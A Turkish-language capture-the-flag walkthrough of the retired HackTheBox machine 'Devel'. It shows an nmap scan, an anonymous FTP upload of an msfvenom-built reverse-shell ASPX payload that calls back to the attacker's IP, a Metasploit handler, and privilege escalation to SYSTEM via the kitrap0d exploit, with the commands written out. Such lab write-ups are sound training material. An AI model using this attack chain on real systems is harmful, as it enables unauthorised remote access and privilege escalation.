Devel, emekli olmuş bir HackTheBox makinası ve 10.10.10.5 IP adresinde yer alıyor.

Devel – Network Scan

İlk adımda yapmamız gereken hedef sistem hakkında olabildiğince fazla bilgi toplamak.

Ağda açık olan portları ve bu portlar üzerinde neyin çalıştığını görmek için nmap (Network Mapper) isimli ücretsiz ve açık kaynak bir program kullanıyoruz.

Kali Linux üzerinde yüklü gelen nmap, yalnız port ve servis bilgisi değil işletim sistemi, versiyon bilgileri, hedefte bulunan firewall bilgileri gibi daha birçok işimize yarayacak bilgiyi sağlıyor.

Nmap taraması için kullandığım komut: nmap -A -T4 -p- 10.10.10.5

NMAP TARAMA SONUCU

-Port 21: open FTP (File Transfer Protocol)

-Port 80: Hypertext Transfer Protocol (HTTP). Bir ISS Sunucu olduğu görülüyor.

NMAP taramasında Bir diğer bilgi ise “http title” kısmında ve IIS7 olarak belirtilmiş, bu da tarayıcı üzerinden IP adresine bağlantı sağlamaya çalıştığımda karşıma muhtemelen varsayılan ayarlarda bırakılmış bir sayfa ile karşılaşacağım anlamına geliyor. 80 portunu açık gördüğüm için ilk olarak tarayıcıda IP adresini ziyaret ediyorum ve nmap taramasında http-title’ı gördüğümde varsayılan ayarlarda bırakılmış IIS7 ekranı karşıma geliyor.

1.IHTIMAL: NMAP sonucunda ulaştığım bilgi ile FTP’ye anonim olarak bağlanabileceğimi biliyorum ve bu durumda dosya yükleyebileceğimi düşünüyorum.

2.IHTIMAL: Bu IP adresinde farklı bir dizinde açık/çalışan bir web sayfaları var ve bir dizin araştırması yaparsam ulaşabilirim.

1.Ihtımal FTP Zafiyeti Denemesi

FTP üzerinden bağlantı kurup istediğim bir görseli eklemeyi ve tarayıcıda bu görseli görmeyi deneyeceğim. Bunu FTP istismarının başarılı olup olmayacağını anlamak amacıyla yapacağım bir işlem. Ben deneme için bir .jpg dosyasını kullanacağım ama farklı bir dosya oluşturup onu da kullanabilirdim. Ben internet bulduğum bir .jpg dosyası kullanacağım

Devel ile FTP bağlantısı kurabilmek için kullandığım komut: ftp 10.10.10.5

Ardından kullanıcı adı anonymous ve parola anonymous yazarak “230 User logged in” yazısını görüyorum ve bağlantıyı tamamlıyorum.Artık FTP içindeyiz.

resim.png’yi FTP bağlantısı ile yüklemek için kullanacağım komut:

put resim.png 

Çalışıp çalışmadığını görmek için tarayıcıda deneyeceğim tarayıcıya 10.10.10.5/resim.jpg yazıyorum ve internetten bulduğum resmi görüyorum. Bu demek oluyor ki FTP üzerinden içeri istismar yapılabilir. Böylelikle ilk adımım MSFVENOM kullanmak

MSFVENOM Kullanımı

Amacım FTP üzerinde tespit etmiş olduğum açıktan yararlanarak bir saldırı kodu yüklemek ve çalıştırmak, bunun için de msfvenom kullanacağım ancak önce istismar için ihtiyacım olan saldırı kodunu tespit etmek üzere metasploit kullanmaya ihtiyacım var. Hedef makinanın (Devel) saldırganla (ben) iletişim kurmasını sağlamak istediğim için reverse shell yaratmam gerekiyor. Bu durumda benim tarafta bir dinleyici portu (listener) açık olacak ve Devel’den gelen bağlantıyı kabul edecek. Reverse shell’in Windows’a uygun olması gerektiğini de en başta yaptığım bilgi toplama aşamasından biliyorum.

LHOST (Local Host) yanına kendi IP adresimi (ifconfig ile kontrol edebiliriz), LPORT (Local Port) yanına ise dinleyici olarak kalmak istediğim port bilgisini (istediğiniz port numarasını girebilirsiniz. Ben 5555 portunu kullanacağım ) girmem bekleniyor.

Hazır komutun kullanılabilir hali benim için şu oluyor:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.13.25 LPORT=5555 -f aspx > sda.aspx

KOD HAKKINDA BİLGİLER

-p: Kullanılacak olan payload

-f: File (çıktı formatı)

– sda.aspx Shell kodunun çıktı olarak ekrana yansımasını değil bir dosya içerisine yazılmasını istediğim için bu komutu kullanıyorum. Dosyamın adı sda.aspx olacak.

Sırada hazırlamış olduğum saldırı kodunu (payload) FTP’ye yüklemek var. Yukarıda resim.jpg yüklemek için kullandığım komutların aynılarını kullanacak ve yine anonymous kullanıcı adı ve parolası ile FTP’ye bağlanıp ardından put komutunu kullanarak payloadu yükleyeceğim.

Metasploit ile Listener Port Ayarlamak

msfconsole komutu ile Metasploit açıyorum, ardından bir payload handler (saldırı kodu işleyici) ihtiyacım olduğu için aşağıdaki komutu kullanacağım:

use exploit/multi/handler

Aşağıda yer alan komut ile payloadu ayarlayacağım:

set payload windows/meterpreter/reverse_tcp

Bu komut sonrasında options komutu ile seçenekleri görüntülediğimde ise LHOST ve LPORT bilgilerinin girilmesi gerektiğini görüyorum. Kullanacağım komutlar aşağıdaki gibi:

set LHOST 10.10.13.25

set LPORT 5555

LPORT’a girmiş olduğum port bilgilerinin payload hazırlarken girmiş olduğum ile aynı olması gerekiyor. Kod satırına Exploit yaziyorum ve Started reverse TCP handler on 10.10.13.25:5555 yazısını görüyorum. Şimdi tarayıcıya gidip 10.10.10.5/sda.aspx yazdığımda payload çalışacak ve bana meterpreter ile bağlantı açacak.

İlk yaptığım shell komutu ile Windows komut satırına geçmek oluyor. Ardından “cd ..” komutunu kullanarak içerisinde bulunduğum dizinden c:\ dizinine geçeceğim.

Sistem ya da root yetkilerine sahip olup olmadığımı anlamak için whoami komutunu kullanıyorum. dir komutu ile bulunduğum dizin altında yer alan dosyaları görüntülüyorum, ve Users klasörünü görüyorum, muhtemelen aradığım kullanıcılar bu klasör altında.cd Users ve dir komutlarını kullanarak Users klasörü altındaki dosyaları görüntülüyorum. Administrator ve babis klasörleri aradığım root.txt ve user.txt dosyalarına beni götürebilir. Bu nedenle cd komutu ile geçiş yapmayı deniyorum ama her ikisi de “Access Denied” yanıtı veriyor ve giremiyorum nedeni admin yetkim yok.

SIRA YETKI YÜKESELTMEDE

Yetki yükseltme için metasploit’e ihtiyacım var ancak meterpreter session kapanmasın istediğim için onu arka plana atıyorum bunun için ise

Komutu kullanıyorum: background

Böylece meterpreter kapanmadan metasploit modülünde bir yetki yükseltme açığı arayabileceğim.

Bunun için kullandığım komut ise aşağıdaki gibi:use post/multi/recon/local_exploit_suggester

Bu komut ile metasploit modülünde “local exploit suggester” (yerel istismar önerici) çalıştırıp bana yerel sisteme giriş yapmışken kullanabileceğim istismar kodlarını sıralamasını isteyeceğim.

Seçeneklerimi girmem gereken bilgileri bana göstermesi için “show options” komutunu kullanıyorum ve benden session bilgisi girmemi istediğini görüyorum.

show options

Session bilgisi meterpreter session. “Background” komutu ile meterpreter’i arka planda çalışmaya gönderdiğimde “Backgrounding session 1” yazdığı için biliyorum ki buraya girmem gereken session 1 olacak.

set session 1

Çaliştirmak içinde RUN komutunu kullaniyorum. Run komutu sonrası karşımıza çok sayıda istismar kodu seçeneği geliyor.

Çıkan sonuçta ilk görülen şey istismar ISS kullanıcı yönetici grubunda yer almadığı için çalışmadı.

Bir sonraki istismar kodunu aşağıdaki gibi use komutu ile deneyeceğim:

use exploit/windows/local/ms10_015_kitrap0d

Ve tekrar show options komutunu girdiğimde benden session bilgisi istendiğini görüp yukarıda yaptığım gibi aşağıdaki komut ile session belirteceğim:

set session 1

Giriş yapmam gereken başka bir bilgi kalmadığına göre exploit komutu ile yetki yükseltme talebimin gerçekleşmesini bekleyebilirim ve 1 2 dakika içinde admin seviyesine yükselmiş oluyorum. Kontrol için whoami komutunu kullaniyorum ve cevap olarak nt authority\system geliyor. Artik istediğim dosyalara erişim sağlayabilirim. c:\Users\Administrator\Desktop klasörüne ulaşıp yine dir komutunu kullandığımda root.txt.txt‘nin burada olduğunu görebiliyorum ve içerisindeki bayrak parolasını almak için aşağıdaki komutu girmem gerekiyor:

type root.txt.txt

Aynı komutları kullanarak c:\Users\babis>cd Desktop klasörüne ulaştığımda ise user.txt.txt‘yi bulmuş oluyorum.

type user.txt.txt

İki bayrağımızı bulmuş oluyoruz bunları hackthebox sitesine gidip oradaki ilgili yerlere yazıp puanımızı alıyoruz.